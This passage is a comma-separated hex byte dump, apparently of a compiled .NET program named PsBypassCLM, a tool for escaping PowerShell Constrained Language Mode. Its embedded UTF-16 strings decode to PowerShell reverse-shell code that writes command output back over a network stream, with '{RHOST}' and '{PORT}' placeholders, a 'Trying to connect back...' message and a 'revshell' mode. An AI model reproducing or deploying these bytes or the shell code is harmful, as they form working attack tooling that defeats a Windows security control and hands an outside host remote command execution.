,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x65,0x00,0x6E,0x00,0x64,0x00,0x62,0x00,0x61,0x00,0x63,0x00,0x6B,0x00,0x32,0x00,0x20,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x20,0x00,0x22,0x00,0x45,0x00,0x52,0x00,0x52,0x00,0x4F,0x00,0x52,0x00,0x3A,0x00,0x20,0x00,0x22,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x24,0x00,0x65,0x00,0x72,0x00,0x72,0x00,0x6F,0x00,0x72,0x00,0x5B,0x00,0x30,0x00,0x5D,0x00,0x2E,0x00,0x54,0x00,0x6F,0x00,0x53,0x00,0x74,0x00,0x72,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x28,0x00,0x29,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x22,0x00,0x60,0x00,0x6E,0x00,0x60,0x00,0x6E,0x00,0x22,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x22,0x00,0x50,0x00,0x53,0x00,0x20,0x00,0x22,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x28,0x00,0x70,0x00,0x77,0x00,0x64,0x00,0x29,0x00,0x2E,0x00,0x50,0x00,0x61,0x00,0x74,0x00,0x68,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x27,0x00,0x3E,0x00,0x20,0x00,0x27,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x7D,0x00,0x09,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x65,0x00,0x6E,0x00,0x64,0x00,0x62,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x28,0x00,0x5B,0x00,0x74,0x00,0x65,0x00,0x78,0x00,0x74,0x00,0x2E,0x00,0x65,0x00,0x6E,0x00,0x63,0x00,0x6F,0x00,0x64,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x5D,0x00,0x3A,0x00,0x3A,0x00,0x41,0x00,0x53,0x00,0x43,0x00,0x49,0x00,0x49,0x00,0x29,0x00,0x2E,0x00,0x47,0x00,0x65,0x00,0x74,0x00,0x42,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x73,0x00,0x28,0x00,0x24,0x00,0x73,0x00,0x65,0x00,0x6E,0x00,0x64,0x00,0x62,0x00,0x61,0x00,0x63,0x00,0x6B,0x00,0x32,0x00,0x29,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x74,0x00,0x72,0x00,0x65,0x00,0x61,0x00,0x6D,0x00,0x2E,0x00,0x57,0x00,0x72,0x00,0x69,0x00,0x74,0x00,0x65,0x00,0x28,0x00,0x24,0x00,0x73,0x00,0x65,0x00,0x6E,0x00,0x64,0x00,0x62,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x2C,0x00,0x30,0x00,0x2C,0x00,0x24,0x00,0x73,0x00,0x65,0x00,0x6E,0x00,0x64,0x00,0x62,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x2E,0x00,0x4C,0x00,0x65,0x00,0x6E,0x00,0x67,0x00,0x74,0x00,0x68,0x00,0x29,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x74,0x00,0x72,0x00,0x65,0x00,0x61,0x00,0x6D,0x00,0x2E,0x00,0x46,0x00,0x6C,0x00,0x75,0x00,0x73,0x00,0x68,0x00,0x28,0x00,0x29,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x7D,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x63,0x00,0x6C,0x00,0x69,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x2E,0x00,0x43,0x00,0x6C,0x00,0x6F,0x00,0x73,0x00,0x65,0x00,0x28,0x00,0x29,0x00,0x3B,0x00,0x01,0x51,0x54,0x00,0x79,0x00,0x70,0x00,0x65,0x00,0x20,0x00,0x79,0x00,0x6F,0x00,0x75,0x00,0x72,0x00,0x20,0x00,0x50,0x00,0x30,0x00,0x77,0x00,0x33,0x00,0x72,0x00,0x53,0x00,0x68,0x00,0x33,0x00,0x6C,0x00,0x6C,0x00,0x20,0x00,0x63,0x00,0x6F,0x00,0x6D,0x00,0x6D,0x00,0x61,0x00,0x6E,0x00,0x64,0x00,0x20,0x00,0x64,0x00,0x6F,0x00,0x77,0x00,0x6E,0x00,0x20,0x00,0x68,0x00,0x65,0x00,0x72,0x00,0x65,0x00,0x20,0x00,0x0A,0x00,0x00,0x0F,0x7B,0x00,0x52,0x00,0x48,0x00,0x4F,0x00,0x53,0x00,0x54,0x00,0x7D,0x00,0x00,0x0D,0x7B,0x00,0x50,0x00,0x4F,0x00,0x52,0x00,0x54,0x00,0x7D,0x00,0x00,0x0B,0x50,0x00,0x53,0x00,0x20,0x00,0x3E,0x00,0x20,0x00,0x00,0x15,0x4F,0x00,0x75,0x00,0x74,0x00,0x2D,0x00,0x53,0x00,0x74,0x00,0x72,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x01,0x35,0x54,0x00,0x72,0x00,0x79,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x20,0x00,0x74,0x00,0x6F,0x00,0x20,0x00,0x63,0x00,0x6F,0x00,0x6E,0x00,0x6E,0x00,0x65,0x00,0x63,0x00,0x74,0x00,0x20,0x00,0x62,0x00,0x61,0x00,0x63,0x00,0x6B,0x00,0x2E,0x00,0x2E,0x00,0x2E,0x00,0x0A,0x00,0x00,0x07,0x7B,0x00,0x30,0x00,0x7D,0x00,0x00,0x09,0x65,0x00,0x78,0x00,0x69,0x00,0x74,0x00,0x00,0x11,0x72,0x00,0x65,0x00,0x76,0x00,0x73,0x00,0x68,0x00,0x65,0x00,0x6C,0x00,0x6C,0x00,0x00,0x0B,0x72,0x00,0x68,0x00,0x6F,0x00,0x73,0x00,0x74,0x00,0x00,0x5B,0x4D,0x00,0x61,0x00,0x6E,0x00,0x64,0x00,0x61,0x00,0x74,0x00,0x6F,0x00,0x72,0x00,0x79,0x00,0x20,0x00,0x70,0x00,0x61,0x00,0x72,0x00,0x61,0x00,0x6D,0x00,0x65,0x00,0x74,0x00,0x65,0x00,0x72,0x00,0x20,0x00,0x27,0x00,0x72,0x00,0x68,0x00,0x6F,0x00,0x73,0x00,0x74,0x00,0x27,0x00,0x20,0x00,0x66,0x00,0x6F,0x00,0x72,0x00,0x20,0x00,0x72,0x00,0x65,0x00,0x76,0x00,0x73,0x00,0x68,0x00,0x65,0x00,0x6C,0x00,0x6C,0x00,0x20,0x00,0x6D,0x00,0x6F,0x00,0x64,0x00,0x65,0x00,0x01,0x0B,0x72,0x00,0x70,0x00,0x6F,0x00,0x72,0x00,0x74,0x00,0x00,0x59,0x4D,0x00,0x61,0x00,0x6E,0x00,0x64,0x00,0x61,0x00,0x74,0x00,0x6F,0x00,0x72,0x00,0x79,0x00,0x20,0x00,0x70,0x00,0x61,0x00,0x72,0x00,0x61,0x00,0x6D,0x00,0x65,0x00,0x74,0x00,0x65,0x00,0x72,0x00,0x20,0x00,0x27,0x00,0x70,0x00,0x6F,0x00,0x72,0x00,0x74,0x00,0x27,0x00,0x20,0x00,0x66,0x00,0x6F,0x00,0x72,0x00,0x20,0x00,0x72,0x00,0x65,0x00,0x76,0x00,0x73,0x00,0x68,0x00,0x65,0x00,0x6C,0x00,0x6C,0x00,0x20,0x00,0x6D,0x00,0x6F,0x00,0x64,0x00,0x65,0x00,0x01,0x00,0x00,0x00,0xEB,0xE0,0x7B,0x83,0x5F,0xA0,0xB0,0x43,0x96,0x59,0x1F,0xC0,0xEF,0x7F,0xE8,0x62,0x00,0x04,0x20,0x01,0x01,0x08,0x03,0x20,0x00,0x01,0x05,0x20,0x01,0x01,0x11,0x11,0x04,0x20,0x01,0x01,0x0E,0x04,0x20,0x01,0x01,0x02,0x17,0x07,0x0B,0x0E,0x0E,0x0E,0x02,0x12,0x45,0x0E,0x12,0x49,0x12,0x4D,0x15,0x12,0x51,0x01,0x12,0x55,0x12,0x55,0x12,0x59,0x04,0x00,0x01,0x02,0x0E,0x04,0x00,0x00,0x12,0x45,0x05,0x20,0x01,0x01,0x12,0x45,0x09,0x20,0x01,0x15,0x12,0x75,0x01,0x12,0x55,0x0E,0x04,0x00,0x01,0x01,0x0E,0x05,0x20,0x02,0x0E,0x0E,0x0E,0x03,0x00,0x00,0x0E,0x04,0x20,0x00,0x12,0x49,0x04,0x20,0x00,0x12,0x7D,0x08,0x20,0x00,0x15,0x12,0x75,0x01,0x12,0x55,0x06,0x15,0x12,0x75,0x01,0x12,0x55,0x08,0x20,0x00,0x15,0x12,0x51,0x01,0x13,0x00,0x06,0x15,0x12,0x51,0x01,0x12,0x55,0x04,0x20,0x00,0x13,0x00,0x03,0x20,0x00,0x0E,0x05,0x20,0x01,0x12,0x4D,0x0E,0x03,0x20,0x00,0x02,0x05,0x00,0x02,0x01,0x0E,0x1C,0x05,0x00,0x02,0x02,0x0E,0x0E,0x04,0x07,0x02,0x0E,0x0E,0x05,0x20,0x00,0x12,0x80,0x89,0x05,0x20,0x00,0x12,0x80,0x8D,0x04,0x20,0x01,0x0E,0x0E,0x08,0xB7,0x7A,0x5C,0x56,0x19,0x34,0xE0,0x89,0x08,0x31,0xBF,0x38,0x56,0xAD,0x36,0x4E,0x35,0x08,0xB0,0x3F,0x5F,0x7F,0x11,0xD5,0x0A,0x3A,0x05,0x00,0x01,0x01,0x1D,0x0E,0x05,0x20,0x01,0x01,0x12,0x65,0x08,0x01,0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x1E,0x01,0x00,0x01,0x00,0x54,0x02,0x16,0x57,0x72,0x61,0x70,0x4E,0x6F,0x6E,0x45,0x78,0x63,0x65,0x70,0x74,0x69,0x6F,0x6E,0x54,0x68,0x72,0x6F,0x77,0x73,0x01,0x08,0x01,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x0A,0x01,0x00,0x05,0x50,0x73,0x42,0x79,0x32,0x00,0x00,0x05,0x01,0x00,0x00,0x00,0x00,0x17,0x01,0x00,0x12,0x43,0x6F,0x70,0x79,0x72,0x69,0x67,0x68,0x74,0x20,0xC2,0xA9,0x20,0x20,0x32,0x30,0x31,0x38,0x00,0x00,0x29,0x01,0x00,0x24,0x34,0x36,0x30,0x33,0x34,0x30,0x33,0x38,0x2D,0x30,0x31,0x31,0x33,0x2D,0x34,0x64,0x37,0x35,0x2D,0x38,0x31,0x66,0x64,0x2D,0x65,0x62,0x33,0x62,0x34,0x38,0x33,0x66,0x32,0x36,0x36,0x32,0x00,0x00,0x0C,0x01,0x00,0x07,0x31,0x2E,0x30,0x2E,0x30,0x2E,0x30,0x00,0x00,0x49,0x01,0x00,0x1A,0x2E,0x4E,0x45,0x54,0x46,0x72,0x61,0x6D,0x65,0x77,0x6F,0x72,0x6B,0x2C,0x56,0x65,0x72,0x73,0x69,0x6F,0x6E,0x3D,0x76,0x34,0x2E,0x35,0x01,0x00,0x54,0x0E,0x14,0x46,0x72,0x61,0x6D,0x65,0x77,0x6F,0x72,0x6B,0x44,0x69,0x73,0x70,0x6C,0x61,0x79,0x4E,0x61,0x6D,0x65,0x12,0x2E,0x4E,0x45,0x54,0x20,0x46,0x72,0x61,0x6D,0x65,0x77,0x6F,0x72,0x6B,0x20,0x34,0x2E,0x35,0x05,0x01,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xD0,0x95,0xEC,0x5F,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x1C,0x01,0x00,0x00,0x20,0x3B,0x00,0x00,0x20,0x1D,0x00,0x00,0x52,0x53,0x44,0x53,0xC3,0x49,0xF6,0x6C,0x98,0x26,0x53,0x44,0xA3,0xF3,0x11,0x2C,0x19,0xB4,0x61,0x35,0x01,0x00,0x00,0x00,0x43,0x3A,0x5C,0x74,0x65,0x6D,0x70,0x5C,0x50,0x53,0x42,0x79,0x50,0x61,0x73,0x73,0x43,0x4C,0x4D,0x2D,0x6D,0x61,0x73,0x74,0x65,0x72,0x5C,0x50,0x53,0x42,0x79,0x50,0x61,0x73,0x73,0x43,0x4C,0x4D,0x2D,0x6D,0x61,0x73,0x74,0x65,0x72,0x5C,0x50,0x53,0x42,0x79,0x70,0x61,0x73,0x73,0x43,0x4C,0x4D,0x5C,0x50,0x53,0x42,0x79,0x70,0x61,0x73,0x73,0x43,0x4C,0x4D,0x5C,0x6F,0x62,0x6A,0x5C,0x52,0x65,0x6C,0x65,0x61,0x73,0x65,0x5C,0x50,0x73,0x42,0x79,0x70,0x61,0x73,0x73,0x43,0x4C,0x4D,0x2E,0x70,0x64,0x62,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x64,0x3C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7E,0x3C,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x3C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x5F,0x43,0x6F,0x72,0x45,0x78,0x65,0x4D,0x61,0x69,0x6E,0x00,0x6D,0x73,0x63,0x6F,0x72,0x65,0x65,0x2E,0x64,0x6C,0x6C,0x00,0x00,0x00,0x00,0x00,0xFF,0x25,0x00,0x20,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x10,0x00,0x00,0x00,0x20,0x00,0x00,0x80,0x18,0x00,0x00,0x00,0x50,0x00,0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x38,0x00,0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x68,0x00,0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0xA4,0x03,0x00,0x00,0x90,0x40,0x00,0x00,0x14,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x14,0x03,0x34,0x00,0x00,0x00,0x56,0x00,0x53,0x00,0x5F,0x00,0x56,0x00,0x45,0x00,0x52,0x00,0x53,0x00,0x49,0x00,0x4F,0x00,0x4E,0x00,0x5F,0x00,0x49,0x00,0x4E,0x00,0x46,0x00,0x4F,0x00,0x00,0x00,0x00,0x00,0xBD,0x04,0xEF,0xFE,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x3F,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x00,0x01,0x00,0x56,0x00,0x61,0x00,0x72,0x00,0x46,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x49,0x00,0x6E,0x00,0x66,0x00,0x6F,0x00,0x00,0x00,0x00,0x00,0x24,0x00,0x04,0x00,0x00,0x00,0x54,0x00,0x72,0x00,0x61,0x00,0x6E,0x00,0x73,0x00,0x6C,0x00,0x61,0x00,0x74,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xB0,0x04,0x74,0x02,0x00,0x00,0x01,0x00,0x53,0x00,0x74,0x00,0x72,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x46,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x49,0x00,0x6E,0x00,0x66,0x00,0x6F,0x00,0x00,0x00,0x50,0x02,0x00,0x00,0x01,0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x34,0x00,0x62,0x00,0x30,0x00,0x00,0x00,0x1A,0x00,0x01,0x00,0x01,0x00,0x43,0x00,0x6F,0x00,0x6D,0x00,0x6D,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x73,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x22,0x00,0x01,0x00,0x01,0x00,0x43,0x00,0x6F,0x00,0x6D,0x00,0x70,0x00,0x61,0x00,0x6E,0x00,0x79,0x00,0x4E,0x00,0x61,0x00,0x6D,0x00,0x65,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x34,0x00,0x06,0x00,0x01,0x00,0x46,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x44,0x00,0x65,0x00,0x73,0x00,0x63,0x00,0x72,0x00,0x69,0x00,0x70,0x00,0x74,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0x50,0x00,0x73,0x00,0x42,0x00,0x79,0x00,0x32,0x00,0x00,0x00,0x30,0x00,0x08,0x00,0x01,0x00,0x46,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x56,0x00,0x65,0x00,0x72,0x00,0x73,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0x31,0x00,0x2E,0x00,0x30,0x00,0x2E,0x00,0x30,0x00,0x2E,0x00,0x30,0x00,0x00,0x00,0x40,0x00,0x10,0x00,0x01,0x00,0x49,0x00,0x6E,0x00,0x74,0x00,0x65,0x00,0x72,0x00,0x6E,0x00,0x61,0x00,0x6C,0x00,0x4E,0x00,0x61,0x00,0x6D,0x00,0x65,0x00,0x00,0x00,0x50,0x00,0x73,0x00,0x42,0x00,0x79,0x00,0x70,0x00,0x61,0x00,0x73,0x00,0x73,0x00,0x43,0x00,0x4C,0x00,0x4D,0x00,0x2E,0x00,0x65,0x00,0x78,0x00,0x65,0x00,0x00,0x00,0x48,0x00,0x12,0x00,0x01,0x00,0x4C,0x00,0x65,0x00,0x67,0x00,0x61,0x00,0x6C,0x00,0x43,0x00,0x6F,0x00,0x70,0x00,0x79,0x00,0x72,0x00,0x69,0x00,0x67,0x00,0x68,0x00,0x74,0x00,0x00,0x00,0x43,0x00,0x6F,0x00,0x70,0x00,0x79,0x00,0x72,0x00,0x69,0x00,0x67,0x00,0x68,0x00,0x74,0x00,0x20,0x00,0xA9,0x00,0x20,0x00,0x20,0x00,0x32,0x00,0x30,0x00,0x31,0x00,0x38,0x00,0x00,0x00,0x2A,0x00,0x01,0x00,0x01,0x00,0x4C,0x00,0x65,0x00,0x67,0x00,0x61,0x00,0x6C,0x00,0x54,0x00,0x72,0x00,0x61,0x00,0x64,0x00,0x65,0x00,0x6D,0x00,0x61,0x00,0x72,0x00,0x6B,0x00,0x73,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x10,0x00,0x01,0x00,0x4F,0x00,0x72,0x00,0x69,0x00,0x67,0x00,0x69,0x00,0x6E,0x00,0x61,0x00,0x6C,0x00,0x46,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x6E,0x00,0x61,0x00,0x6D,0x00,0x65,0x00,0x00,0x00,0x50,0x00,0x73,0x00,0x42,0x00,0x79,0x00,0x70,0x00,0x61,0x00,0x73,0x00,0x73,0x00,0x43,0x00,0x4C,0x00,0x4D,0x00,0x2E,0x00,0x65,0x00,0x78,0x00,0x65,0x00,0x00,0x00,0x2C,0x00,0x06,0x00,0x01,0x00,0x50,0x00,0x72,0x00,0x6F,0x00,0x64,0x00,0x75,0x00,0x63,0x00,0x74,0x00,0x4E,0x00,0x61,0x00,0x6D,0x00,0x65,0x00,0x00,0x00,0x00,0x00,0x50,0x00,0x73,0x00,0x42,0x00,0x79,0x00,0x32,0x00,0x00,0x00,0x34,0x00,0x08,0x00,0x01,0x00,0x50,0x00,0x72,0x00,0x6F,0x00,0x64,0x00,0x75,0x00,0x63,0x00,0x74,0x00,0x56,0x00,0x65,0x00,0x72,0x00,0x73,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x00,0x00,0x31,0x00,0x2E,0x00,0x30,0x00,0x2E,0x00,0x30,0x00,0x2E,0x00,0x30,0x00,0x00,0x00,0x38,0x00,0x08,0x00,0x01,0x00,0x41,0x00,0x73,0x00,0x73,0x00,0x65,0x00,0x6D,0x00,0x62,0x00,0x6C,0x00,0x79,0x00,0x20,0x00,0x56,0x00,0x65,0x00,0x72,0x00,0x73,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x00,0x00,0x31,0x00,0x2E,0x00,0x30,0x00,0x2E,0x00,0x30,0x00,0x2E,0x00,0x30,0x00,0x00,0x00,0xB4,0x43,0x00,0x00,0xEA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xEF,0xBB,0xBF,0x3C,0x3F,0x78,0x6D,0x6C,0x20,0x76,0x65,0x72,0x73,0x69,0x6F,0x6E,0x3D,0x22,0x31,0x2E,0x30,0x22,0x20,0x65,0x6E,0x63,0x6F,0x64,0x69,0x6E,0x67,0x3D,0x22,0x55,0x54,0x46,0x2D,0x38,0x22,0x20,0x73,0x74,0x61,0x6E,0x64,0x61,0x6C,0x6F,0x6E,0x65,0x3D,0x22,0x79,0x65,0x73,0x22,0x3F,0x3E,0x0D,0x0A,0x0D,0x0A,0x3C,0x61,0x7